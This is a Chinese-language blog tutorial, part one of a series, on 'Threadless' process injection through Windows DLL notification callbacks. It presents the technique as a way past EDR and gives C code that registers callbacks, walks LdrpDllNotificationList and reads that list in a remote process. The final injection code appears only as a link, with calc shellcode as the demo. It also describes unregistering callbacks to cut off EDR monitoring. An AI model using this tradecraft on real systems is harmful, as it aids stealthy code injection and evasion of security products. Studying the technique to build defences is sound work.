偶然看到某国外大佬发布新技术-“Threadless”进程注入技术,据说可过EDR(确实可),总结该技术原理 - 在远程目标进程中利用DLL通知回调机制执行shellcode,项目地址在这里

传统进程注入四步法:

  • 获取远程进程句柄(OpenProcess函数)
  • 在远程进程中分配内存(VirtualAllocEx函数)
  • 将shellcode复制到远程进程中新分配的内存页中(WriteProcessMemory函数)
  • 在远程进程中创建线程执行shellcode(CreateRemoteThread函数)

杀毒软件和EDR产品已经学会通过快速查找这四步操作来概括并检测进程注入。

针对第四步执行shellcode方式,@CCob@Kudaes相继提出新加载技术 - ThreadlessInject。原理上基本一致,Hook并修改远程进程中线程创建与销毁过程中DLL加载的入口点,进而加载我们的shellcode。下面我们逐步剖析学习一下该技术手段。

什么是DLL Notification Callbacks?

在 Windows 操作系统中,当一个 DLL(动态链接库)被加载或卸载时,系统会调用一个预先注册的回调函数来通知应用程序。在Windows用户态下,通常使用LdrRegisterDllNotification函数来注册回调函数。

ps:Windows中除了通过上述API函数注册回调函数,还有PsSetLoadImageNotifyRoutine函数,该函数允许驱动程序注册一个回调函数,当驱动程序映像或用户映像(DLL、EXE)被映射到虚拟内存中时,系统会调用此回调函数。注意,PsSetLoadImageNotifyRoutine函数只能在内核态下使用

很遗憾,在微软官方文档中没有关于LdrDllNotification函数的详细资料,只有大致介绍

LdrDllNotification函数简介

ps:通常,一些EDR产品也是使用此函数在用户态下从加载DLL事件中获取监测数据。在@onlymalware截取的这段代码中,可以看到作为攻击方,应如何在自己的进程中取消注册所有LdrDllNotification回调函数,从而限制EDR从我们的进程中收集样本数据。

回归正题,LdrRegisterDllNotification函数方法没有相关联的头文件,但是可以通过LoadLibraryGetProcAddress进行导入。

另外,通过查阅@modexp文章了解到,还需要自己实现函数及其所有相关数据结构,以下是构造的简单示例代码:

#include <Windows.h>
#include <stdio.h> typedef struct _UNICODE_STR
{
USHORT Length;
USHORT MaximumLength;
PWSTR pBuffer;
} UNICODE_STR, * PUNICODE_STR; typedef struct _LDR_DLL_LOADED_NOTIFICATION_DATA {
ULONG Flags; // Reserved.
PUNICODE_STR FullDllName; // The full path name of the DLL module.
PUNICODE_STR BaseDllName; // The base file name of the DLL module.
PVOID DllBase; // A pointer to the base address for the DLL in memory.
ULONG SizeOfImage; // The size of the DLL image, in bytes.
} LDR_DLL_LOADED_NOTIFICATION_DATA, * PLDR_DLL_LOADED_NOTIFICATION_DATA; typedef struct _LDR_DLL_UNLOADED_NOTIFICATION_DATA {
ULONG Flags; // Reserved.
PUNICODE_STR FullDllName; // The full path name of the DLL module.
PUNICODE_STR BaseDllName; // The base file name of the DLL module.
PVOID DllBase; // A pointer to the base address for the DLL in memory.
ULONG SizeOfImage; // The size of the DLL image, in bytes.
} LDR_DLL_UNLOADED_NOTIFICATION_DATA, * PLDR_DLL_UNLOADED_NOTIFICATION_DATA; typedef union _LDR_DLL_NOTIFICATION_DATA {
LDR_DLL_LOADED_NOTIFICATION_DATA Loaded;
LDR_DLL_UNLOADED_NOTIFICATION_DATA Unloaded;
} LDR_DLL_NOTIFICATION_DATA, * PLDR_DLL_NOTIFICATION_DATA; typedef VOID(CALLBACK* PLDR_DLL_NOTIFICATION_FUNCTION)(
ULONG NotificationReason,
PLDR_DLL_NOTIFICATION_DATA NotificationData,
PVOID Context); typedef struct _LDR_DLL_NOTIFICATION_ENTRY {
LIST_ENTRY List;
PLDR_DLL_NOTIFICATION_FUNCTION Callback;
PVOID Context;
} LDR_DLL_NOTIFICATION_ENTRY, * PLDR_DLL_NOTIFICATION_ENTRY; typedef NTSTATUS(NTAPI* _LdrRegisterDllNotification) (
ULONG Flags,
PLDR_DLL_NOTIFICATION_FUNCTION NotificationFunction,
PVOID Context,
PVOID* Cookie); typedef NTSTATUS(NTAPI* _LdrUnregisterDllNotification)(PVOID Cookie); // 回调函数
VOID MyCallback(ULONG NotificationReason, const PLDR_DLL_NOTIFICATION_DATA NotificationData, PVOID Context)
{
printf("[MyCallback] dll loaded: %Z\n", NotificationData->Loaded.BaseDllName);
} int main()
{
// 获取NTDLL句柄
HMODULE hNtdll = GetModuleHandleA("NTDLL.dll"); if (hNtdll != NULL) { // 找到 LdrUnregisterDllNotification函数地址
_LdrRegisterDllNotification pLdrRegisterDllNotification = (_LdrRegisterDllNotification)GetProcAddress(hNtdll, "LdrRegisterDllNotification"); // 将MyCallback函数注册为 DLL 通知回调
PVOID cookie;
NTSTATUS status = pLdrRegisterDllNotification(0, (PLDR_DLL_NOTIFICATION_FUNCTION)MyCallback, NULL, &cookie);
if (status == 0) {
printf("[+] Successfully registered callback\n");
} //字符中断
printf("[+] Press enter to continue\n");
getchar(); // 加载其他dll来触发回调函数
printf("[+] Loading USER32 DLL now\n");
LoadLibraryA("USER32.dll");
}
}

ps:普及下基础知识,为什么要获取ntdll.dll的句柄?是为了找到 LdrRegisterDllNotification 函数的地址,有且只有 ntdll.dll 库中有 LdrRegisterDllNotification 函数。

运行截图:

上述代码作用大致解释为利用LoadLibraryA("USER32.dll") 加载 USER32.dll 库,触发 DLL 通知回调函数,也就是上面注册的 MyCallback 函数。MyCallback函数将打印出 DLL 的基本名称。

注册自定义回调函数

在当前进程中操纵注册自己的DLL通知回调函数,首先要找到它在内存中的位置。 查阅函数定义,获取的唯一返回值(除了 NTSTATUS)是一个指向Cookie的指针,与LdrUnregisterDllNotificationCookie一样(LdrUnregisterDllNotification函数是帮助我们删除特定的回调函数)。

关于Cookie指针的解释:Cookie指针实际上是一个指向LDR_DLL_NOTIFICATION_ENTRY的指针,它保存了与我们注册的回调函数相关的所有数据,包括指向回调函数本身的指针和指向回调函数上下文的指针(在本例中未使用)_LDR_DLL_NOTIFICATION_ENTRY还包含一个LIST_ENTRY结构,该结构指向进程中注册的其余回调函数。

:)继续普及基础知识:进程中已注册的所有回调函数都存储在LdrpDllNotificationList(双向链表)中,并通过指向上一个和下一个回调的LIST_ENTRY结构体链接在一起。当一个 DLL 被加载或卸载时,系统会遍历这个链表,并调用其中的每个回调函数,以通知应用程序有关 DLL 加载或卸载的信息。这个链表中的每个节点都是一个 LDR_DLL_NOTIFICATION_ENTRY 类型的结构体,它包含两个成员:ListNotificationFunction。其中,List 是一个 LIST_ENTRY 类型的结构体,用于将节点链接到链表中。NotificationFunction 是一个指向回调函数的指针,它指定了当 DLL 加载或卸载时要调用的函数。

完整流程解释:在当前进程中使用 LdrRegisterDllNotification 函数注册一个 DLL 通知回调函数时,这个函数会在 LdrpDllNotificationList 链表中添加一个新节点,并将其 NotificationFunction 成员设置为自定义的回调函数。当 DLL 加载或卸载时,系统会遍历这个双向链表,并调用其中的每个回调函数。

这类似于 PEB 中InMemoryOrderModuleList的双向链表,当我们想避免调用GetModuleHandleGetProcAddress时,有时会尝试通过这个方法来查找已加载的 DLL 和导出的函数。需要注意的是“LdrpDllNotificationList”的头部位于 NTDLL 的 .data 部分。

掌握这些前置知识,就可以注册一些 DLL 通知回调,将Cookie指针指向LDR_DLL_NOTIFICATION_ENTRY结构体,然后顺序遍历双向链表即可。

VOID MyCallback(ULONG NotificationReason, const PLDR_DLL_NOTIFICATION_DATA NotificationData, PVOID Context)
{
printf("[MyCallback] dll loaded: %Z\n", NotificationData->Loaded.BaseDllName);
} //添加第二个回调函数
VOID MySecondCallback(ULONG NotificationReason, const PLDR_DLL_NOTIFICATION_DATA NotificationData, PVOID Context)
{
printf("[MySecondCallback] dll loaded: %Z\n", NotificationData->Loaded.BaseDllName);
} int main()
{
// 获取NTDLL句柄
HMODULE hNtdll = GetModuleHandleA("NTDLL.dll"); if (hNtdll != NULL) { // 找到 LdrUnregisterDllNotification函数地址
_LdrRegisterDllNotification pLdrRegisterDllNotification = (_LdrRegisterDllNotification)GetProcAddress(hNtdll, "LdrRegisterDllNotification"); // 将MyCallback函数注册为 DLL 通知回调
PVOID cookie;
NTSTATUS status = pLdrRegisterDllNotification(0, (PLDR_DLL_NOTIFICATION_FUNCTION)MyCallback, NULL, &cookie);
if (status == 0) {
printf("[+] Successfully registered first callback\n");
} // 注册第二个回调函数
status = pLdrRegisterDllNotification(0, (PLDR_DLL_NOTIFICATION_FUNCTION)MySecondCallback, NULL, &cookie);
if (status == 0) {
printf("[+] Successfully registered second callback\n");
} // 列出当前进程的DLL通知列表回调
printf("[+] DLL Notification List:\n"); // The head of the list is the next link in the chain
// since our callback is the last callback in the list
PLIST_ENTRY head = ((PLDR_DLL_NOTIFICATION_ENTRY)cookie)->List.Flink;
PLDR_DLL_NOTIFICATION_ENTRY entry = (PLDR_DLL_NOTIFICATION_ENTRY)head;
do {
// 打印LDR_DLL_NOTIFICATION_ENTRY及其回调函数的地址
printf(" %p -> %p\n", entry, entry->Callback); // Iterate to the next callback in the list
entry = (PLDR_DLL_NOTIFICATION_ENTRY)entry->List.Flink;
} while ((PLIST_ENTRY)entry != head); // 当我们再次遍历到列表的头部时停止 printf("\n"); }
}

在上面的代码中,我们注册了两个不同的 DLL 通知回调函数,然后迭代双向链表,同时打印列表中的每个entry条目。

运行结果如图:

注:由于 USER32.dll 库依赖于其他 DLL 库,所以在加载 USER32.dll 库时,也会同时加载它所依赖的其他 DLL 库。这些 DLL 库也会触发 DLL 通知回调函数,并打印出它们的基本名称到控制台。因此,在您提供的输出结果中,除了 USER32.dll 的基本名称之外,还打印出了其他 DLL 库的基本名称。

操刀NTDLL注册回调函数

掌握了如何在进程中迭代 LdrpDllNotificationList(双向链表),我们需要一种方法来可靠地找到列表的头部。

// 回调函数
VOID DummyCallback(ULONG NotificationReason, const PLDR_DLL_NOTIFICATION_DATA NotificationData, PVOID Context)
{
return;
} // 获取 LdrpDllNotificationList头部地址
PLIST_ENTRY GetDllNotificationListHead() {
PLIST_ENTRY head = 0; // 获取NTDLL句柄
HMODULE hNtdll = GetModuleHandleA("NTDLL.dll"); if (hNtdll != NULL) { // 找到LdrRegisterDllNotification函数
_LdrRegisterDllNotification pLdrRegisterDllNotification = (_LdrRegisterDllNotification)GetProcAddress(hNtdll, "LdrRegisterDllNotification"); // 找到 LdrUnregisterDllNotification函数
_LdrUnregisterDllNotification pLdrUnregisterDllNotification = (_LdrUnregisterDllNotification)GetProcAddress(hNtdll, "LdrUnregisterDllNotification"); // 将回调函数注册为 DLL 通知回调
PVOID cookie;
NTSTATUS status = pLdrRegisterDllNotification(0, (PLDR_DLL_NOTIFICATION_FUNCTION)DummyCallback, NULL, &cookie);
if (status == 0) {
printf("[+] Successfully registered dummy callback\n"); // Cookie is the last callback registered so its Flink holds the head of the list.
head = ((PLDR_DLL_NOTIFICATION_ENTRY)cookie)->List.Flink;
printf("[+] Found LdrpDllNotificationList head: %p\n", head); // 卸载回调函数
status = pLdrUnregisterDllNotification(cookie);
if (status == 0) {
printf("[+] Successfully unregistered dummy callback\n");
}
}
} return head;
}

一开始,我认为刚刚注册的回调函数会在双向链表的最后一个条目中,然后双向链表的头地址必然位于其 List.Flink 指针中,因为在双向链表中最后一个条目应该始终指向第一个条目,从而关闭某种循环。虽然上述代码可以运行,但它会出现条件竞争问题,即另一个线程也可能在我们获取到指向list头部的指针前注册自己的DLL通知回调。

船到桥头自然直,请注意运行输出结果的第一个条目和第二个条目的地址,链表(又名LdrpDllNotificationList)的头部位于完全不同的内存空间中。 如果查看这部分内存空间,会发现它恰好在 NTDLL 的 .data 数据段上。 因此,为了准确无误地获取 LdrpDllNotificationList 的头部,我们在迭代链表时,首次发现 NTDLL .data 部分的内存范围内有一个条目时就停止,下一节给出问题解决前后的运行对比图,代码请自行实现。

初探远程进程精准操刀

常规操作远程目标进程 - ReadProcessMemory/NtreadVirtualMemory读内存,OpenProcess/NtOpenProcess获取进程句柄,但是我们从哪里开始读取呢?

答:LdrpDllNotificationList头地址位于 NTDLL 的 .data 数据段中,而每个进程都会从磁盘上一模一样的加载 NTDLL.dll,因此 LdrpDllNotificationList头地址也是位于每个进程中的相同位置(相对于 NTDLL 的基地址)。

所以,先在自己当前进程中检查NTDLL的基址,再获取内存中LdrpDllNotificationList头地址,计算出偏移量同时获取目标进程的NTDLL基准地址,最后在远程目标进程中将相同的偏移量累加至NTDLL基址上,即可获取到远程进程的LdrpDllNotificationList头地址,演示代码如下:

#include <Windows.h>
#include <stdio.h>
#include "nt.h"
#include <cstdint> // Our callback function
VOID DummyCallback(ULONG NotificationReason, const PLDR_DLL_NOTIFICATION_DATA NotificationData, PVOID Context)
{
return;
} PLIST_ENTRY GetDllNotificationListHead() {
PLIST_ENTRY head = 0; // 获取NTDLL句柄
HMODULE hNtdll = GetModuleHandleA("NTDLL.dll"); if (hNtdll != NULL) { // find LdrRegisterDllNotification function
_LdrRegisterDllNotification pLdrRegisterDllNotification = (_LdrRegisterDllNotification)GetProcAddress(hNtdll, "LdrRegisterDllNotification"); // find LdrUnregisterDllNotification function
_LdrUnregisterDllNotification pLdrUnregisterDllNotification = (_LdrUnregisterDllNotification)GetProcAddress(hNtdll, "LdrUnregisterDllNotification"); // Register our dummy callback function as a DLL Notification Callback
PVOID cookie;
NTSTATUS status = pLdrRegisterDllNotification(0, (PLDR_DLL_NOTIFICATION_FUNCTION)DummyCallback, NULL, &cookie);
if (status == 0) {
printf("[+] Successfully registered dummy callback\n"); // Cookie is the last callback registered so its Flink holds the head of the list.
head = ((PLDR_DLL_NOTIFICATION_ENTRY)cookie)->List.Flink;
printf("[+] Found LdrpDllNotificationList head: %p\n", head); // Unregister our dummy callback function
status = pLdrUnregisterDllNotification(cookie);
if (status == 0) {
printf("[+] Successfully unregistered dummy callback\n");
}
}
} return head;
} LPVOID GetNtdllBase(HANDLE hProc) { // find NtQueryInformationProcess function
NtQueryInformationProcess pNtQueryInformationProcess = (NtQueryInformationProcess)GetProcAddress((HMODULE)GetModuleHandleA("ntdll.dll"), "NtQueryInformationProcess"); // Get the PEB of the remote process
PROCESS_BASIC_INFORMATION info;
NTSTATUS status = pNtQueryInformationProcess(hProc, ProcessBasicInformation, &info, sizeof(info), 0);
ULONG_PTR ProcEnvBlk = (ULONG_PTR)info.PebBaseAddress; // Read the address pointer of the remote Ldr
ULONG_PTR ldrAddress = 0;
BOOL res = ReadProcessMemory(hProc, ((char*)ProcEnvBlk + offsetof(_PEB, pLdr)), &ldrAddress, sizeof(ULONG_PTR), nullptr); // Read the address of the remote InLoadOrderModuleList head
ULONG_PTR ModuleListAddress = 0;
res = ReadProcessMemory(hProc, ((char*)ldrAddress + offsetof(PEB_LDR_DATA, InLoadOrderModuleList)), &ModuleListAddress, sizeof(ULONG_PTR), nullptr); // Read the first LDR_DATA_TABLE_ENTRY in the remote InLoadOrderModuleList
LDR_DATA_TABLE_ENTRY ModuleEntry = { 0 };
res = ReadProcessMemory(hProc, (LPCVOID)ModuleListAddress, &ModuleEntry, sizeof(LDR_DATA_TABLE_ENTRY), nullptr); LIST_ENTRY* ModuleList = (LIST_ENTRY*)&ModuleEntry;
WCHAR name[1024];
ULONG_PTR nextModuleAddress = 0; LPWSTR sModuleName = (LPWSTR)L"ntdll.dll"; // Start the forloop with reading the first LDR_DATA_TABLE_ENTRY in the remote InLoadOrderModuleList
for (ReadProcessMemory(hProc, (LPCVOID)ModuleListAddress, &ModuleEntry, sizeof(LDR_DATA_TABLE_ENTRY), nullptr);
// Stop when we reach the last entry
(ULONG_PTR)(ModuleList->Flink) != ModuleListAddress;
// Read the next entry in the list
ReadProcessMemory(hProc, (LPCVOID)nextModuleAddress, &ModuleEntry, sizeof(LDR_DATA_TABLE_ENTRY), nullptr))
{ // Zero out the buffer for the dll name
memset(name, 0, sizeof(name)); // Read the buffer of the remote BaseDllName UNICODE_STRING into the buffer "name"
ReadProcessMemory(hProc, (LPCVOID)ModuleEntry.BaseDllName.pBuffer, &name, ModuleEntry.BaseDllName.Length, nullptr); // Check if the name of the current module is ntdll.dll and if so, return the DllBase address
if (wcscmp(name, sModuleName) == 0) {
return (LPVOID)ModuleEntry.DllBase;
} // Otherwise, set the nextModuleAddress to point for the next entry in the list
ModuleList = (LIST_ENTRY*)&ModuleEntry;
nextModuleAddress = (ULONG_PTR)(ModuleList->Flink);
}
return 0;
} void PrintDllNotificationList(HANDLE hProc, LPVOID remoteHeadAddress) {
printf("\n");
printf("[+] Remote DLL Notification Block List:\n"); // Allocate memory buffer for LDR_DLL_NOTIFICATION_ENTRY
BYTE* entry = (BYTE*)malloc(sizeof(LDR_DLL_NOTIFICATION_ENTRY)); // Read the head entry from the remote process
ReadProcessMemory(hProc, remoteHeadAddress, entry, sizeof(LDR_DLL_NOTIFICATION_ENTRY), nullptr);
LPVOID currentEntryAddress = remoteHeadAddress;
do { // print the addresses of the LDR_DLL_NOTIFICATION_ENTRY and its callback function
printf(" 0x%p -> 0x%p\n", currentEntryAddress, ((PLDR_DLL_NOTIFICATION_ENTRY)entry)->Callback); // Get the address of the next callback in the list
currentEntryAddress = ((PLDR_DLL_NOTIFICATION_ENTRY)entry)->List.Flink; // Read the next callback in the list
ReadProcessMemory(hProc, currentEntryAddress, entry, sizeof(LDR_DLL_NOTIFICATION_ENTRY), nullptr); } while ((PLIST_ENTRY)currentEntryAddress != remoteHeadAddress); // Stop when we reach the head of the list again free(entry); printf("\n");
} int main()
{
// Get local LdrpDllNotificationList head address
LPVOID localHeadAddress = (LPVOID)GetDllNotificationListHead();
printf("[+] Local LdrpDllNotificationList head address: 0x%p\n", localHeadAddress); // Get local NTDLL base address
HANDLE hNtdll = GetModuleHandleA("NTDLL.dll");
printf("[+] Local NTDLL base address: %p\n", hNtdll); // calculate the offset of LdrpDllNotificationList from NTDLL base
int64_t offsetFromBase = (BYTE*)localHeadAddress - (BYTE*)hNtdll;
printf("[+] LdrpDllNotificationList offset from NTDLL base: 0x%IX\n", offsetFromBase); // Open handle to remote process
HANDLE hProc = OpenProcess(PROCESS_ALL_ACCESS, FALSE, 4764);
printf("[+] Got handle to remote process\n"); // Get remote NTDLL base address
LPVOID remoteNtdllBase = GetNtdllBase(hProc);
LPVOID remoteHeadAddress = (BYTE*)remoteNtdllBase + offsetFromBase;
printf("[+] Remote LdrpDllNotificationList head address 0x%p\n", remoteHeadAddress); // Print the remote Dll Notification List
PrintDllNotificationList(hProc, remoteHeadAddress); }

问题解决前后运行对比图

操刀远程进程弹计算器

上一节只是读取了远程目标进程的双向链表,这节编写代码操纵目标进程内存执行shellcode。但是,首先依然需要深入了解LDR_DLL_NOTIFICATION_ENTRY结构体,特别是其LIST_ENTRY的属性。

typedef struct _LIST_ENTRY {
struct _LIST_ENTRY *Flink;
struct _LIST_ENTRY *Blink;
} LIST_ENTRY, *PLIST_ENTRY, *RESTRICTED_POINTER PRLIST_ENTRY; typedef struct _LDR_DLL_NOTIFICATION_ENTRY {
LIST_ENTRY List;
PLDR_DLL_NOTIFICATION_FUNCTION Callback;
PVOID Context;
} LDR_DLL_NOTIFICATION_ENTRY, * PLDR_DLL_NOTIFICATION_ENTRY;

每个_LDR_DLL_NOTIFICATION_ENTRY条目都有一个属性 List,而 List属性本身就是一个LIST_ENTRY类型的结构,继续套娃,LIST_ENTRY又有两个属性:

  • 1.Flink(Forward Link,前向链),保存指向list中下一个entry条目的指针
  • 2.Blink(Backward Link,后向链),保存指向list中上一个entry条目的指针

当使用LdrRegisterDllNotification注册回调函数时,实际调用过程如下:

1.为新创建的entry条目分配一个新的 LDR_DLL_NOTIFICATION_ENTRY 结构

2.设置Callback属性为指向我们自定义的回调函数

3.设置Context属性为指向所提供的上下文(如果有的话)

4.设置List.Blink属性为指向LdrpDllNotificationList中最后一个LDR_DLL_NOTIFICATION_ENTRY条目

5.更改在LdrpDllNotificationList中最后一个 LDR_DLL_NOTIFICATION_ENTRY 条目的List.Flink属性为指向我们新创建的entry条目

6.设置List.Flink属性为指向LdrpDllNotificationList的头部(双向链表中的最后一个链接应始终指向列表的头部)。

7.更改LdrpDllNotificationList头List.Blink属性为指向我们新创建的条目

这是关于双向链接列表的演示图,不过有一点区别是,在我们的示例中,列表的头部和尾部也连接起来,这就是所谓的循环双向链表。

最终的演示代码在这里,编译时需要自己手动填写shellcode并改写目标进程的PID。

结果图如下,在最终代码中,注入新创建的LDR_DLL_NOTIFICATION_ENTRY到远程进程中,触发执行调用calc的shellcode。

本文到此已经初步阐明该技术手段的基本原理,后续进一步了解如何利用该技术手段调试执行恶意shellcode,请转《利用DLL通知回调函数注入shellcode(下)》...

参考链接:

DLL Notification Injection

玄 - 利用DLL通知回调函数注入shellcode(上)的更多相关文章

  1. Objective-C学习笔记 利用协议实现回调函数

    来源:http://mobile.51cto.com/iphone-278354.htm Objective-C学习笔记 利用协议实现回调函数是本文要介绍的内容,主要是实现一个显示文字为测试的视图,然 ...

  2. 【js】利用闭包消除回调函数启动时值已经发生变化的影响

    在以下代码中,timeFun异步执行了一个匿名函数,当输出color的值时已经由green变成red,因此输出为red. function timedFun(callback){ setTimeout ...

  3. Block、委托、回调函数原理剖析(在Object C语境)——这样讲还不懂,根本不可能!

    开篇:要想理解Block和委托,最快的方法是搞明白“回调函数”这个概念. 做为初级选手,我们把Block.委托.回调函数,视为同一原理的三种不同名称.也就是说,现在,我们把这三个名词当成一回事.在这篇 ...

  4. 回调函数的应用误区4(c/s OK版本回调小程序)

    VC++深入详解里面说得也挺好:回调函数的实现机制: 1)定义一个回调函数 2)“函数实现者”(回调函数所在的模块)在初始化的时候,将回调函数的函数指针注册给“调用者”. 3)当特定的事件或条件发生的 ...

  5. java回调函数,看完就懂

    java回调函数在网上了看了些例子,比较绕,不够清晰,自己写的一个例子比较通俗,java回调其实很简单. 举个例子我是类B,我有个方法叫b(),现在我要调用类A中的方法a(),写个代码就是: publ ...

  6. OpenCL 事件的使用,以及回调函数

    ▶ 事件的两种使用方法.第一种是用事件 a 标记进入命令队列的操作 A,于是后续进入命令队列的操作 B 可以被要求等到前面事件 a 完成(即操作 A 完成)以后才能开始调度执行.第二种是使用用户自定义 ...

  7. javascript 函数初探 (四)--- 回调函数

    回调函数 既然函数与任何被赋值给变量的数据是相同的,那么她当然可以像其他数据那样被定义.删除.拷贝,以及当成参数传递给其它函数. 我们定义一个函数,这个函数有两个函数类型的参数,然后他会分别执行这两个 ...

  8. 理解和使用 JavaScript 中的回调函数

    理解和使用 JavaScript 中的回调函数 标签: 回调函数指针js 2014-11-25 01:20 11506人阅读 评论(4) 收藏 举报  分类: JavaScript(4)    目录( ...

  9. 对ajax回调函数的研究

    1.1开发中遇到的问题 最近开发中我和同事都碰到这样的问题,我们使用jQuery的ajax方法做服务端的校验,在success方法里将验证结果存储到一个js的公共变量或者是页面里的隐藏域,接下来的代码 ...

  10. Perl回调函数和闭包

    在Perl中,子程序的引用常用来做回调函数(callback).闭包(closure),特别是匿名子程序. 回调函数(callback) 关于什么是回调函数,见一文搞懂:词法作用域.动态作用域.回调函 ...

随机推荐

  1. Grafana系列-统一展示-9-Jaeger数据源

    系列文章 Grafana 系列文章 配置 Jaeger data source Grafana内置了对Jaeger的支持,它提供了开源的端到端分布式跟踪.本文解释了针对Jaeger数据源的配置和查询. ...

  2. Django-1:安装、更新、查看版本

    安装: pip install Django 更新: pip3 install -U Django 或者 python -m pip install -U Django 查看: python -m d ...

  3. Matplotlib.pyplot.plot 绘图

    Matplotlib.pyplot 创建图形.在图形中创建创建一个绘图区域.在绘图区域中你那个绘制一些线.在图形中添加标签之类 画二维平面图 x = np.arange(0, 10, 2) y1 = ...

  4. 深入 Hyperf:HTTP 服务启动时发生了什么?

    当我们创建 Hyperf 项目之后,只需要在终端执行 php bin/hyperf.php start 启动命令,等上几秒钟,就可以看到终端输出的 Worker 进程已启动,HTTP 服务监听在 95 ...

  5. 【python基础】编写/运行hello world项目

    1.编写hello world项目 编程界每种语言的第一个程序往往都是输出hello world.因此我们来看看,如何用Python输出hello world. 1.如果你是初学者,main.py中的 ...

  6. Java(if选择、switch选择、循环)

    1.if 选择结构 //语法 if(表达式){ //语句:(表达式为真) }else{ //语句:(表达式为假) } --------------------------------------- 例 ...

  7. 【python基础】if语句-语法格式

    if语句-语法格式 简单理解if语句之后,我们的if语句语法格式有多种,选择使用哪种取决于要测试的条件数 1.if结构 最简单的if语句只有一个条件测试和一个代码块 其语法格式: 假设想要指导一个学员 ...

  8. Devexpress如何获取RadioGroup选中项的值和显示值

    分享一个小技巧,如题目所示,DEV控件如何获取RadioGroup选中项的值和显示值.也是在网上找了很久,看了大家都是通过SelectIndex的值定位选中的按钮,并没有说取选中项的值,所以自己研究了 ...

  9. EnhancingDecisionTreeswithGeographicInformationSystemsa

    目录 引言 在计算机科学领域,地理信息系统和( geographical information systems, GIS)已经成为了一个非常受欢迎的工具.GIS 可以用来处理和存储大量的地理数据,支 ...

  10. C++面试八股文:std::vector了解吗?

    某日二师兄参加XXX科技公司的C++工程师开发岗位第23面: 面试官:vector了解吗? 二师兄:嗯,用过. 面试官:那你知道vector底层是如何实现的吗? 二师兄:vector底层使用动态数组来 ...